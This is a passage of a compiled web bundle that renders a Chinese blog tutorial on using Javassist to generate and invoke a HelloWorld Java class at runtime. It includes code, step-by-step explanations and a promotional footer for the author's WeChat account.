punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" args"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throws")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Class")]),s._v(" clazz "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("createHelloWorld")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Object")]),s._v(" obj "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" clazz"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("newInstance")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Method")]),s._v(" mainMethod "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" clazz"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"main"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n mainMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("invoke")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),s._v("obj"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("1")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br"),t("span",{staticClass:"line-number"},[s._v("12")]),t("br"),t("span",{staticClass:"line-number"},[s._v("13")]),t("br"),t("span",{staticClass:"line-number"},[s._v("14")]),t("br"),t("span",{staticClass:"line-number"},[s._v("15")]),t("br"),t("span",{staticClass:"line-number"},[s._v("16")]),t("br"),t("span",{staticClass:"line-number"},[s._v("17")]),t("br"),t("span",{staticClass:"line-number"},[s._v("18")]),t("br"),t("span",{staticClass:"line-number"},[s._v("19")]),t("br"),t("span",{staticClass:"line-number"},[s._v("20")]),t("br"),t("span",{staticClass:"line-number"},[s._v("21")]),t("br"),t("span",{staticClass:"line-number"},[s._v("22")]),t("br"),t("span",{staticClass:"line-number"},[s._v("23")]),t("br"),t("span",{staticClass:"line-number"},[s._v("24")]),t("br"),t("span",{staticClass:"line-number"},[s._v("25")]),t("br"),t("span",{staticClass:"line-number"},[s._v("26")]),t("br"),t("span",{staticClass:"line-number"},[s._v("27")]),t("br"),t("span",{staticClass:"line-number"},[s._v("28")]),t("br"),t("span",{staticClass:"line-number"},[s._v("29")]),t("br"),t("span",{staticClass:"line-number"},[s._v("30")]),t("br"),t("span",{staticClass:"line-number"},[s._v("31")]),t("br"),t("span",{staticClass:"line-number"},[s._v("32")]),t("br"),t("span",{staticClass:"line-number"},[s._v("33")]),t("br"),t("span",{staticClass:"line-number"},[s._v("34")]),t("br"),t("span",{staticClass:"line-number"},[s._v("35")]),t("br"),t("span",{staticClass:"line-number"},[s._v("36")]),t("br"),t("span",{staticClass:"line-number"},[s._v("37")]),t("br"),t("span",{staticClass:"line-number"},[s._v("38")]),t("br"),t("span",{staticClass:"line-number"},[s._v("39")]),t("br"),t("span",{staticClass:"line-number"},[s._v("40")]),t("br")])]),t("p",[s._v("接下来,我们根据上述代码来看看Javassist是如何生成完整字节码的。")]),s._v(" "),t("p",[s._v("(1) 在createHelloWorld()方法中创建一个ClassPool,ClassPool本质上就是个CtClass对象容器。")]),s._v(" "),t("p",[s._v("(2) 调用ClassPool的makeClass()方法,传入完整的包名+类名生成一个空的类信息。这里传入的完整的包名+类名是"),t("code",[s._v("io.binghe.bytecode.javassist.test.HelloWorld")]),s._v("。")]),s._v(" "),t("p",[s._v("(3) 给类添加方法,并设置方法的返回类型、方法名称、参数名(入参和出参)、访问修饰符以及方法体。这里设置的完整方法体如下:")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" var0"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Javassist Hello World by 冰河(公众号:冰河技术)"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("p",[s._v("(4) 尽管我们在上述代码中没有显示的创建无参构造函数,但是在编译时,Javassist会自动创建一个HelloWorld类的无参构造函数。")]),s._v(" "),t("p",[s._v("(5) 通过 CtClass的writeFile()方法将内存中的类信息输出到磁盘,这样我们就可以通过IDEA清晰的看到Javassist生成的HelloWorld类了。")]),s._v(" "),t("p",[s._v("(6) 最终在createHelloWorld()方法中调用CtClass的toClass()方法返回Class对象。")]),s._v(" "),t("p",[s._v("(7) 在main()方法中调用createHelloWorld()方法获取Class对象。")]),s._v(" "),t("p",[s._v("(8) 通过反射实例化对象,并通过反射调用生成的HelloWorld类的main()方法。")]),s._v(" "),t("h2",{attrs:{id:"效果演示"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#效果演示"}},[s._v("#")]),s._v(" 效果演示")]),s._v(" "),t("p",[s._v("运行GenerateHelloWorldClass类的main()方法,会在顶级工程目录下的"),t("code",[s._v("io/binghe/bytecode/javassist/test")]),s._v(" 目录下生成HelloWorld.class文件,具体如下所示。")]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"图片","data-src":"https://img-blog.csdnimg.cn/img_convert/83bcf5bfa3e8396a41c62c90d641d58e.png",loading:"lazy"}})]),s._v(" "),t("p",[s._v("查看IDEA的输出信息时,发现会输出如下内容。")]),s._v(" "),t("div",{staticClass:"language-bash line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-bash"}},[t("code",[s._v("Javassist Hello World by 冰河(公众号:冰河技术)\n\nProcess finished with "),t("span",{pre:!0,attrs:{class:"token builtin class-name"}},[s._v("exit")]),s._v(" code "),t("span",{pre:!0,attrs:{class:"token number"}},[s._v("0")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br")])]),t("h2",{attrs:{id:"案例总结"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#案例总结"}},[s._v("#")]),s._v(" 案例总结")]),s._v(" "),t("p",[s._v("我们使用Javassist实现了创建一个HelloWorld类的功能,字节码编程听起来貌似挺难的,但是在Javassist强大的API下,实现起来还是蛮简单的。")]),s._v(" "),t("p",[s._v("在接下来的一段时间里,冰河会持续输出关于字节码编程的文章,让我们一起精通字节码编程。")]),s._v(" "),t("p",[t("strong",[s._v("好了,今天就到这儿吧,我是冰河,我们下期见~~")])]),s._v(" "),t("h2",{attrs:{id:"写在最后"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#写在最后"}},[s._v("#")]),s._v(" 写在最后")]),s._v(" "),t("p",[t("strong",[s._v("如果你想进大厂,想升职加薪,或者对自己现有的工作比较迷茫,都可以私信我交流,希望我的一些经历能够帮助到大家~~")])]),s._v(" "),t("blockquote",[t("p",[s._v("如果你觉得冰河写的还不错,请微信搜索并关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号,跟冰河学习高并发、分布式、微服务、大数据、互联网和云原生技术,「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号更新了大量技术专题,每一篇技术文章干货满满!不少读者已经通过阅读「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号文章,吊打面试官,成功跳槽到大厂;也有不少读者实现了技术上的飞跃,成为公司的技术骨干!如果你也想像他们一样提升自己的能力,实现技术能力的飞跃,进大厂,升职加薪,那就关注「 "),t("strong",[s._v("冰河技术")]),s._v(" 」微信公众号吧,每天更新超硬核技术干货,让你对如何提升技术能力不再迷茫!")])]),s._v(" "),t("p",[t("img",{staticClass:"lazy",attrs:{alt:"","data-src":"https://img-blog.csdnimg.cn/20200906013715889.png",loading:"lazy"}})])])}),[],!1,null,null,null);t.default=e.exports}}]); \ No newline at end of file +(window.webpackJsonp=window.webpackJsonp||[]).push([[340],{630:function(s,t,a){"use strict";a.r(t);var n=a(7),e=Object(n.a)({},(function(){var s=this,t=s._self._c;return t("ContentSlotsDistributor",{attrs:{"slot-key":s.$parent.slotKey}},[t("h1",{attrs:{id:"字节码编程-使用javassist动态生成hello-world"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#字节码编程-使用javassist动态生成hello-world"}},[s._v("#")]),s._v(" 字节码编程 | 使用Javassist动态生成Hello World")]),s._v(" "),t("p",[t("strong",[s._v("大家好,我是冰河~~")])]),s._v(" "),t("p",[s._v("字节码编程在实际的业务开发(CRUD)中并不常用,但是随着网络编程,RPC、动态字节码增强技术和自动化测试以及零侵入APM监控的不断发展与大量使用,越来越多的技术需要使用到字节码编程。")]),s._v(" "),t("p",[s._v("好了,我们今天就使用Javassist动态生成一个HelloWorld案例,相关的程序案例代码可以关注公众号:"),t("strong",[s._v("冰河技术")]),s._v(" 获取,也可以直接到Github和Gitee获取。")]),s._v(" "),t("blockquote",[t("p",[s._v("Github:https://github.com/binghe001/bytecode")]),s._v(" "),t("p",[s._v("Gitee:https://gitee.com/binghe001/bytecode")])]),s._v(" "),t("h2",{attrs:{id:"开发环境"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#开发环境"}},[s._v("#")]),s._v(" 开发环境")]),s._v(" "),t("ul",[t("li",[s._v("JDK 1.8")]),s._v(" "),t("li",[s._v("IDEA 2018.03")]),s._v(" "),t("li",[s._v("Maven 3.6.0")])]),s._v(" "),t("h2",{attrs:{id:"maven依赖"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#maven依赖"}},[s._v("#")]),s._v(" Maven依赖")]),s._v(" "),t("p",[s._v("在项目的pom.xml文件中添加如下环境依赖。")]),s._v(" "),t("div",{staticClass:"language-xml line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-xml"}},[t("code",[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("properties")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("javassist.version")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("3.20.0-GA"),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependencies")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("dependency")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("groupId")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("org.javassist"),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("artifactId")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("<")]),s._v("version")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(">")])]),s._v("${javassist.version}"),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token tag"}},[t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("")])]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br"),t("span",{staticClass:"line-number"},[s._v("11")]),t("br")])]),t("h2",{attrs:{id:"案例效果"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#案例效果"}},[s._v("#")]),s._v(" 案例效果")]),s._v(" "),t("p",[s._v("整体案例效果其实也是很简单的,学习Java语言时,我们会在命令行打印第一个Hello World程序。今天,我们学习Javassist字节码编程时,也来实现一个HelloWorld程序。")]),s._v(" "),t("p",[s._v("案例的效果就是要生成如下的程序代码。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("package")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token namespace"}},[s._v("io"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("binghe"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("bytecode"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("javassist"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("test")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloWorld")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("void")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("main")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),s._v(" var0"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("System")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("out"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("println")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"Javassist Hello World by 冰河(公众号:冰河技术)"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("HelloWorld")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),s._v("\n")])]),s._v(" "),t("div",{staticClass:"line-numbers-wrapper"},[t("span",{staticClass:"line-number"},[s._v("1")]),t("br"),t("span",{staticClass:"line-number"},[s._v("2")]),t("br"),t("span",{staticClass:"line-number"},[s._v("3")]),t("br"),t("span",{staticClass:"line-number"},[s._v("4")]),t("br"),t("span",{staticClass:"line-number"},[s._v("5")]),t("br"),t("span",{staticClass:"line-number"},[s._v("6")]),t("br"),t("span",{staticClass:"line-number"},[s._v("7")]),t("br"),t("span",{staticClass:"line-number"},[s._v("8")]),t("br"),t("span",{staticClass:"line-number"},[s._v("9")]),t("br"),t("span",{staticClass:"line-number"},[s._v("10")]),t("br")])]),t("p",[s._v("看看这个效果,像不像我们自己在IDEA中写的Java代码呢?就让我们一起使用Javassist来实现它吧。")]),s._v(" "),t("h2",{attrs:{id:"案例实现"}},[t("a",{staticClass:"header-anchor",attrs:{href:"#案例实现"}},[s._v("#")]),s._v(" 案例实现")]),s._v(" "),t("p",[s._v("这个案例其实还是蛮简单的,这里就先直接给出源代码了。")]),s._v(" "),t("div",{staticClass:"language-java line-numbers-mode"},[t("pre",{pre:!0,attrs:{class:"language-java"}},[t("code",[t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * @author binghe (公众号:冰河技术)\n * @version 1.0.0\n * @description 测试使用Javassist生成第一个类HelloWorld\n */")]),s._v("\n"),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("GenerateHelloWorldClass")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("/**\n * 创建HelloWorld的类,并返回HelloWorld的Class实例\n */")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("public")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("static")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Class")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("createHelloWorld")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("throws")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Exception")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//使用默认的ClassPool")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClassPool")]),s._v(" pool "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("ClassPool")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getDefault")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//创建一个空类")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),s._v(" ctClass "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("makeClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"io.binghe.bytecode.javassist.test.HelloWorld"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//添加一个main方法")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtMethod")]),s._v(" ctMethod "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("=")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtMethod")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),s._v("voidType"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token string"}},[s._v('"main"')]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("new")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("CtClass")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("{")]),s._v("pool"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("get")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("String")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("[")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("]")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token keyword"}},[s._v("class")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("getName")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("}")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(",")]),s._v(" ctClass"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(")")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(";")]),s._v("\n "),t("span",{pre:!0,attrs:{class:"token comment"}},[s._v("//将main方法声明为public static类型")]),s._v("\n ctMethod"),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token function"}},[s._v("setModifiers")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v("(")]),t("span",{pre:!0,attrs:{class:"token class-name"}},[s._v("Modifier")]),t("span",{pre:!0,attrs:{class:"token punctuation"}},[s._v(".")]),t("span",{pre:!0,attrs:{class:"token constant"}},[s._v("PUBLIC")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token operator"}},[s._v("+")]),s._v(" "),t("span",{pre:!0,attrs:{class:"token 